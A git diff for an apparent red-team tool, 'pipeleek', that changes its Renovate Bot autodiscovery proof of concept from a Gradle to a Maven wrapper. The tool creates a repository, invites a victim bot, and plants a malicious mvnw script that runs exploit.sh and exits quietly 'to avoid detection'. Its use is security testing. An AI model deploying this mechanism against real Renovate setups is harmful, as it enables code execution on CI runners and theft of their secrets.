diff --git a/docs/guides/renovate.md b/docs/guides/renovate.md index 65081bb4..b164db78 100644 --- a/docs/guides/renovate.md +++ b/docs/guides/renovate.md @@ -56,12 +56,12 @@ The following command creates a repository that includes an exploit script calle pipeleek gl renovate autodiscovery -g https://gitlab.com -t glpat-[redacted] -v 2025-09-30T07:19:33Z info Created project name=devfe-pipeleek-renovate-autodiscovery-poc url=https://gitlab.com/myuser/devfe-pipeleek-renovate-autodiscovery-poc 2025-09-30T07:19:35Z debug Created file fileName=renovate.json -2025-09-30T07:19:35Z debug Created file fileName=build.gradle -2025-09-30T07:19:36Z debug Created file fileName=gradlew -2025-09-30T07:19:36Z debug Created file fileName=gradle/wrapper/gradle-wrapper.properties +2025-09-30T07:19:35Z debug Created file fileName=pom.xml +2025-09-30T07:19:36Z debug Created file fileName=mvnw +2025-09-30T07:19:36Z debug Created file fileName=.mvn/wrapper/maven-wrapper.properties 2025-09-30T07:19:37Z debug Created file fileName=exploit.sh -2025-09-30T07:19:37Z info This exploit works by using an outdated Gradle wrapper version (7.0) that triggers Renovate to run './gradlew wrapper' -2025-09-30T07:19:37Z info When Renovate updates the wrapper, it executes our malicious gradlew script which runs exploit.sh +2025-09-30T07:19:37Z info This exploit works by using an outdated Maven wrapper version that triggers Renovate to run './mvnw wrapper:wrapper' +2025-09-30T07:19:37Z info When Renovate updates the wrapper, it executes our malicious mvnw script which runs exploit.sh 2025-09-30T07:19:37Z info Make sure to update the exploit.sh script with the actual exploit code 2025-09-30T07:19:37Z info Then wait until the created project is renovated by the invited Renovate Bot user ``` diff --git a/internal/cmd/github/renovate/autodiscovery/autodiscovery.go b/internal/cmd/github/renovate/autodiscovery/autodiscovery.go index 5d727e42..b03bbb60 100644 --- a/internal/cmd/github/renovate/autodiscovery/autodiscovery.go +++ b/internal/cmd/github/renovate/autodiscovery/autodiscovery.go @@ -18,9 +18,9 @@ func NewAutodiscoveryCmd() *cobra.Command { autodiscoveryCmd := &cobra.Command{ Use: "autodiscovery", Short: "Create a PoC for Renovate Autodiscovery misconfigurations exploitation", - Long: "Create a repository with a Renovate Bot configuration that will be picked up by an existing Renovate Bot user. The Renovate Bot will execute the malicious Gradle wrapper script during dependency updates, which you can customize in exploit.sh. Note: On GitHub, the bot/user account must proactively accept the invite.", + Long: "Create a repository with a Renovate Bot configuration that will be picked up by an existing Renovate Bot user. The Renovate Bot will execute the malicious Maven wrapper script during dependency updates, which you can customize in exploit.sh. Note: On GitHub, the bot/user account must proactively accept the invite.", Example: ` -# Create a repository and invite the victim Renovate Bot user to it. Uses Gradle wrapper to execute arbitrary code during dependency updates. +# Create a repository and invite the victim Renovate Bot user to it. Uses the Maven wrapper to execute arbitrary code during dependency updates. pipeleek gh renovate autodiscovery --token ghp_xxxxx --github https://api.github.com --repo-name my-exploit-repo --username renovate-bot-user `, Run: func(cmd *cobra.Command, args []string) { @@ -33,7 +33,7 @@ pipeleek gh renovate autodiscovery --token ghp_xxxxx --github https://api.github log.Fatal().Err(err).Msg("Failed to bind command flags to configuration keys") } - if err := config.RequireConfigKeys("github.token", "github.renovate.autodiscovery.repo_name"); err != nil { + if err := config.RequireConfigKeys("github.token"); err != nil { log.Fatal().Err(err).Msg("required configuration missing") } diff --git a/internal/cmd/gitlab/renovate/autodiscovery/autodiscovery.go b/internal/cmd/gitlab/renovate/autodiscovery/autodiscovery.go index 1d52f73f..a2fc0a25 100644 --- a/internal/cmd/gitlab/renovate/autodiscovery/autodiscovery.go +++ b/internal/cmd/gitlab/renovate/autodiscovery/autodiscovery.go @@ -18,9 +18,9 @@ func NewAutodiscoveryCmd() *cobra.Command { autodiscoveryCmd := &cobra.Command{ Use: "autodiscovery", Short: "Create a PoC for Renovate Autodiscovery misconfigurations exploitation", - Long: "Create a project with a Renovate Bot configuration that will be picked up by an existing Renovate Bot user. The Renovate Bot will execute the malicious Gradle wrapper script during dependency updates, which you can customize in exploit.sh.", + Long: "Create a project with a Renovate Bot configuration that will be picked up by an existing Renovate Bot user. The Renovate Bot will execute the malicious Maven wrapper script during dependency updates, which you can customize in exploit.sh.", Example: ` -# Create a project and invite the victim Renovate Bot user to it. Uses Gradle wrapper to execute arbitrary code during dependency updates. +# Create a project and invite the victim Renovate Bot user to it. Uses the Maven wrapper to execute arbitrary code during dependency updates. pipeleek gl renovate autodiscovery --token glpat-xxxxxxxxxxx --gitlab https://gitlab.mydomain.com --repo-name my-exploit-repo --username renovate-bot-user # Create a project with a CI/CD pipeline for local testing (requires setting RENOVATE_TOKEN as CI/CD variable) @@ -37,7 +37,7 @@ pipeleek gl renovate autodiscovery --token glpat-xxxxxxxxxxx --gitlab https://gi log.Fatal().Err(err).Msg("Failed to bind command flags to configuration keys") } - if err := config.RequireConfigKeys("gitlab.url", "gitlab.token", "gitlab.renovate.autodiscovery.repo_name"); err != nil { + if err := config.RequireConfigKeys("gitlab.url", "gitlab.token"); err != nil { log.Fatal().Err(err).Msg("required configuration missing") } diff --git a/pkg/github/renovate/autodiscovery/autodiscovery.go b/pkg/github/renovate/autodiscovery/autodiscovery.go index 2be3761d..a9e534cf 100644 --- a/pkg/github/renovate/autodiscovery/autodiscovery.go +++ b/pkg/github/renovate/autodiscovery/autodiscovery.go @@ -33,9 +33,9 @@ func RunGenerate(client *github.Client, repoName, username string) { time.Sleep(2 * time.Second) createFile(ctx, client, createdRepo, "renovate.json", pkgrenovate.RenovateJSON) - createFile(ctx, client, createdRepo, "build.gradle", pkgrenovate.BuildGradle) - createFile(ctx, client, createdRepo, "gradlew", pkgrenovate.GradlewScript) - createFile(ctx, client, createdRepo, "gradle/wrapper/gradle-wrapper.properties", pkgrenovate.GradleWrapperProperties) + createFile(ctx, client, createdRepo, "pom.xml", pkgrenovate.PomXML) + createFile(ctx, client, createdRepo, "mvnw", pkgrenovate.MvnwScript) + createFile(ctx, client, createdRepo, ".mvn/wrapper/maven-wrapper.properties", pkgrenovate.MavenWrapperProperties) createFile(ctx, client, createdRepo, "exploit.sh", pkgrenovate.ExploitScript) if username == "" { diff --git a/pkg/gitlab/renovate/autodiscovery/autodiscovery.go b/pkg/gitlab/renovate/autodiscovery/autodiscovery.go index c0bb1267..d9b5190d 100644 --- a/pkg/gitlab/renovate/autodiscovery/autodiscovery.go +++ b/pkg/gitlab/renovate/autodiscovery/autodiscovery.go @@ -10,7 +10,7 @@ import ( var gitlabCiYml = ` # GitLab CI/CD pipeline that runs Renovate Bot for debugging -# This verifies the exploit actually executes during Gradle wrapper update +# This verifies the exploit actually executes during Maven wrapper update # # Setup instructions: # 1. Go to Project Settings > Access Tokens @@ -69,9 +69,9 @@ func RunGenerate(gitlabUrl, gitlabApiToken, repoName, username string, addRenova // Create files using shared constants createFile("renovate.json", pkgrenovate.RenovateJSON, git, int(project.ID), false) - createFile("build.gradle", pkgrenovate.BuildGradle, git, int(project.ID), false) - createFile("gradlew", pkgrenovate.GradlewScript, git, int(project.ID), true) - createFile("gradle/wrapper/gradle-wrapper.properties", pkgrenovate.GradleWrapperProperties, git, int(project.ID), false) + createFile("pom.xml", pkgrenovate.PomXML, git, int(project.ID), false) + createFile("mvnw", pkgrenovate.MvnwScript, git, int(project.ID), true) + createFile(".mvn/wrapper/maven-wrapper.properties", pkgrenovate.MavenWrapperProperties, git, int(project.ID), false) createFile("exploit.sh", pkgrenovate.ExploitScript, git, int(project.ID), true) if addRenovateCICD { @@ -88,7 +88,6 @@ func RunGenerate(gitlabUrl, gitlabApiToken, repoName, username string, addRenova invite(git, project, username) } - // Log shared exploit explanation log.Info().Msg(pkgrenovate.ExploitExplanation) } diff --git a/pkg/gitlab/renovate/autodiscovery/autodiscovery_test.go b/pkg/gitlab/renovate/autodiscovery/autodiscovery_test.go index 20e63e0b..9a74d2bb 100644 --- a/pkg/gitlab/renovate/autodiscovery/autodiscovery_test.go +++ b/pkg/gitlab/renovate/autodiscovery/autodiscovery_test.go @@ -24,78 +24,73 @@ func TestRenovateJsonConfig(t *testing.T) { assert.Contains(t, pkgrenovate.RenovateJSON, "config:recommended") }) + t.Run("disables PR throttling", func(t *testing.T) { + assert.Contains(t, pkgrenovate.RenovateJSON, `"prConcurrentLimit": 0`) + assert.Contains(t, pkgrenovate.RenovateJSON, `"prHourlyLimit": 0`) + }) + t.Run("is valid JSON structure", func(t *testing.T) { assert.True(t, strings.HasPrefix(strings.TrimSpace(pkgrenovate.RenovateJSON), "{")) assert.True(t, strings.HasSuffix(strings.TrimSpace(pkgrenovate.RenovateJSON), "}")) }) } -func TestBuildGradle(t *testing.T) { - t.Run("contains Java plugin", func(t *testing.T) { - assert.Contains(t, pkgrenovate.BuildGradle, "plugins") - assert.Contains(t, pkgrenovate.BuildGradle, "id 'java'") - }) - - t.Run("uses mavenCentral repository", func(t *testing.T) { - assert.Contains(t, pkgrenovate.BuildGradle, "repositories") - assert.Contains(t, pkgrenovate.BuildGradle, "mavenCentral()") +func TestPomXML(t *testing.T) { + t.Run("contains Maven project metadata", func(t *testing.T) { + assert.Contains(t, pkgrenovate.PomXML, "com.example") + assert.Contains(t, pkgrenovate.PomXML, "pipeleek-autodiscovery-poc") }) - t.Run("includes guava dependency with old version", func(t *testing.T) { - assert.Contains(t, pkgrenovate.BuildGradle, "dependencies") - assert.Contains(t, pkgrenovate.BuildGradle, "com.google.guava:guava") - assert.Contains(t, pkgrenovate.BuildGradle, "31.0-jre", "Should use old version to trigger update") + t.Run("declares dependency with outdated version", func(t *testing.T) { + assert.Contains(t, pkgrenovate.PomXML, "") + assert.Contains(t, pkgrenovate.PomXML, "junit") + assert.Contains(t, pkgrenovate.PomXML, "4.12", "Should use old version to trigger update") }) - t.Run("is valid Gradle syntax", func(t *testing.T) { - assert.NotContains(t, pkgrenovate.BuildGradle, "{{{", "Should not contain template placeholders") - assert.NotContains(t, pkgrenovate.BuildGradle, "}}}", "Should not contain template placeholders") + t.Run("is valid XML structure", func(t *testing.T) { + trimmed := strings.TrimSpace(pkgrenovate.PomXML) + assert.True(t, strings.HasPrefix(trimmed, "")) }) } -func TestGradlewScript(t *testing.T) { +func TestMvnwScript(t *testing.T) { t.Run("is a shell script", func(t *testing.T) { - assert.True(t, strings.HasPrefix(pkgrenovate.GradlewScript, "#!/bin/sh")) + assert.True(t, strings.HasPrefix(pkgrenovate.MvnwScript, "#!/bin/sh")) }) t.Run("executes exploit.sh", func(t *testing.T) { - assert.Contains(t, pkgrenovate.GradlewScript, "sh exploit.sh") + assert.Contains(t, pkgrenovate.MvnwScript, "sh exploit.sh") }) t.Run("exits successfully to avoid detection", func(t *testing.T) { - assert.Contains(t, pkgrenovate.GradlewScript, "exit 0") + assert.Contains(t, pkgrenovate.MvnwScript, "exit 0") }) t.Run("contains explanatory comments", func(t *testing.T) { - assert.Contains(t, pkgrenovate.GradlewScript, "Malicious Gradle wrapper") - assert.Contains(t, pkgrenovate.GradlewScript, "Renovate") + assert.Contains(t, pkgrenovate.MvnwScript, "Malicious Maven wrapper") + assert.Contains(t, pkgrenovate.MvnwScript, "Renovate") }) t.Run("outputs benign message", func(t *testing.T) { - assert.Contains(t, pkgrenovate.GradlewScript, "echo \"Gradle wrapper executed\"") + assert.Contains(t, pkgrenovate.MvnwScript, "echo \"Maven wrapper executed\"") }) } -func TestGradleWrapperProperties(t *testing.T) { - t.Run("contains required Gradle wrapper properties", func(t *testing.T) { - assert.Contains(t, pkgrenovate.GradleWrapperProperties, "distributionBase=GRADLE_USER_HOME") - assert.Contains(t, pkgrenovate.GradleWrapperProperties, "distributionPath=wrapper/dists") - assert.Contains(t, pkgrenovate.GradleWrapperProperties, "zipStoreBase=GRADLE_USER_HOME") - assert.Contains(t, pkgrenovate.GradleWrapperProperties, "zipStorePath=wrapper/dists") - }) - - t.Run("uses old Gradle version to trigger update", func(t *testing.T) { - assert.Contains(t, pkgrenovate.GradleWrapperProperties, "gradle-7.0-bin.zip") - assert.Contains(t, pkgrenovate.GradleWrapperProperties, "https\\://services.gradle.org/distributions/") +func TestMavenWrapperProperties(t *testing.T) { + t.Run("contains required Maven wrapper properties", func(t *testing.T) { + assert.Contains(t, pkgrenovate.MavenWrapperProperties, "distributionUrl=") + assert.Contains(t, pkgrenovate.MavenWrapperProperties, "wrapperUrl=") }) - t.Run("has properly escaped URL", func(t *testing.T) { - // The : should be escaped as \: in properties files - assert.Contains(t, pkgrenovate.GradleWrapperProperties, "https\\://") + t.Run("uses outdated Maven version to trigger update", func(t *testing.T) { + assert.Contains(t, pkgrenovate.MavenWrapperProperties, "apache-maven/3.8.1") + assert.Contains(t, pkgrenovate.MavenWrapperProperties, "maven-wrapper/3.1.0") }) t.Run("format is valid properties file", func(t *testing.T) { - lines := strings.Split(pkgrenovate.GradleWrapperProperties, "\n") + lines := strings.Split(pkgrenovate.MavenWrapperProperties, "\n") for _, line := range lines { if line == "" { continue @@ -273,15 +268,15 @@ func TestRunGenerate_FilesCreated(t *testing.T) { contentCheck: func(c string) bool { return strings.Contains(c, `"$schema"`) }, executable: false, }, - "build.gradle": { - contentCheck: func(c string) bool { return strings.Contains(c, "plugins") }, + "pom.xml": { + contentCheck: func(c string) bool { return strings.Contains(c, " + 4.0.0 + com.example + pipeleek-autodiscovery-poc + 1.0-SNAPSHOT -dependencies { - implementation 'com.google.guava:guava:31.0-jre' -} + + + junit + junit + 4.12 + test + + + ` -// GradlewScript is a malicious Gradle wrapper script that executes during Renovate's artifact update phase -const GradlewScript = `#!/bin/sh -# Malicious Gradle wrapper script that executes during Renovate's artifact update phase -# This runs when Renovate detects a Gradle wrapper update +// MvnwScript is a malicious Maven wrapper script that executes during Renovate's artifact update phase +const MvnwScript = `#!/bin/sh +# Malicious Maven wrapper script that executes during Renovate's artifact update phase +# This runs when Renovate detects a Maven wrapper update # Execute exploit sh exploit.sh -# Continue with a fake gradle command to avoid errors -echo "Gradle wrapper executed" +# Continue with a fake maven command to avoid errors +echo "Maven wrapper executed" exit 0 ` -// GradleWrapperProperties specifies an outdated Gradle version that triggers updates -const GradleWrapperProperties = `distributionBase=GRADLE_USER_HOME -distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip -zipStoreBase=GRADLE_USER_HOME -zipStorePath=wrapper/dists +// MavenWrapperProperties specifies an outdated Maven wrapper version that triggers updates +const MavenWrapperProperties = `distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.1/apache-maven-3.8.1-bin.zip +wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar ` // ExploitScript is a proof-of-concept script that demonstrates code execution @@ -72,7 +77,7 @@ echo " - Access secrets from the runner" ` // ExploitExplanation provides information about how the exploit works -const ExploitExplanation = `This exploit works by using an outdated Gradle wrapper version (7.0) that triggers Renovate to run './gradlew wrapper' -When Renovate updates the wrapper, it executes our malicious gradlew script which runs exploit.sh +const ExploitExplanation = `This exploit works by using an outdated Maven wrapper version that triggers Renovate to run './mvnw wrapper:wrapper' +When Renovate updates the wrapper, it executes our malicious mvnw script which runs exploit.sh Make sure to update the exploit.sh script with the actual exploit code Then wait until the created repository/project is renovated by the invited Renovate Bot user` diff --git a/tests/e2e/github/renovate/renovate_test.go b/tests/e2e/github/renovate/renovate_test.go index ba6d705e..1eeb0368 100644 --- a/tests/e2e/github/renovate/renovate_test.go +++ b/tests/e2e/github/renovate/renovate_test.go @@ -53,9 +53,9 @@ func setupMockGitHubRenovateAPI(t *testing.T) string { w.Write([]byte(`{"name":"renovate.json","path":"renovate.json","sha":"abc123","content":"` + content + `","encoding":"base64"}`)) return } - if strings.HasSuffix(path, "build.gradle") { + if strings.HasSuffix(path, "pom.xml") { w.WriteHeader(http.StatusOK) - w.Write([]byte(`{"name":"build.gradle","path":"build.gradle","sha":"abc123","content":"YnVpbGQgZmlsZQ==","encoding":"base64"}`)) + w.Write([]byte(`{"name":"pom.xml","path":"pom.xml","sha":"abc123","content":"cG9tIGZpbGU=","encoding":"base64"}`)) return } if strings.HasSuffix(path, "/.github/workflows") { @@ -278,8 +278,8 @@ func TestGHRenovateAutodiscovery(t *testing.T) { assert.Contains(t, combined, "Created repository") assert.Contains(t, combined, "Created file", "Should log file creation in verbose mode") assert.Contains(t, combined, "Inviting user") - assert.Contains(t, combined, "Gradle wrapper", "Should mention Gradle wrapper mechanism") - assert.Contains(t, combined, "gradlew", "Should mention gradlew script") + assert.Contains(t, combined, "Maven wrapper", "Should mention Maven wrapper mechanism") + assert.Contains(t, combined, "mvnw", "Should mention mvnw script") assert.NotContains(t, combined, "fatal") } diff --git a/tests/e2e/gitlab/renovate/renovate_test.go b/tests/e2e/gitlab/renovate/renovate_test.go index e80d2f7e..c74fa930 100644 --- a/tests/e2e/gitlab/renovate/renovate_test.go +++ b/tests/e2e/gitlab/renovate/renovate_test.go @@ -141,8 +141,8 @@ func TestGLRenovateAutodiscovery(t *testing.T) { assert.Contains(t, stdout, "Created project") assert.Contains(t, stdout, "Created file", "Should log file creation in verbose mode") assert.Contains(t, stdout, "Inviting user") - assert.Contains(t, stdout, "Gradle wrapper", "Should mention Gradle wrapper mechanism") - assert.Contains(t, stdout, "gradlew", "Should mention gradlew script") + assert.Contains(t, stdout, "Maven wrapper", "Should mention Maven wrapper mechanism") + assert.Contains(t, stdout, "mvnw", "Should mention mvnw script") assert.NotContains(t, stderr, "fatal") }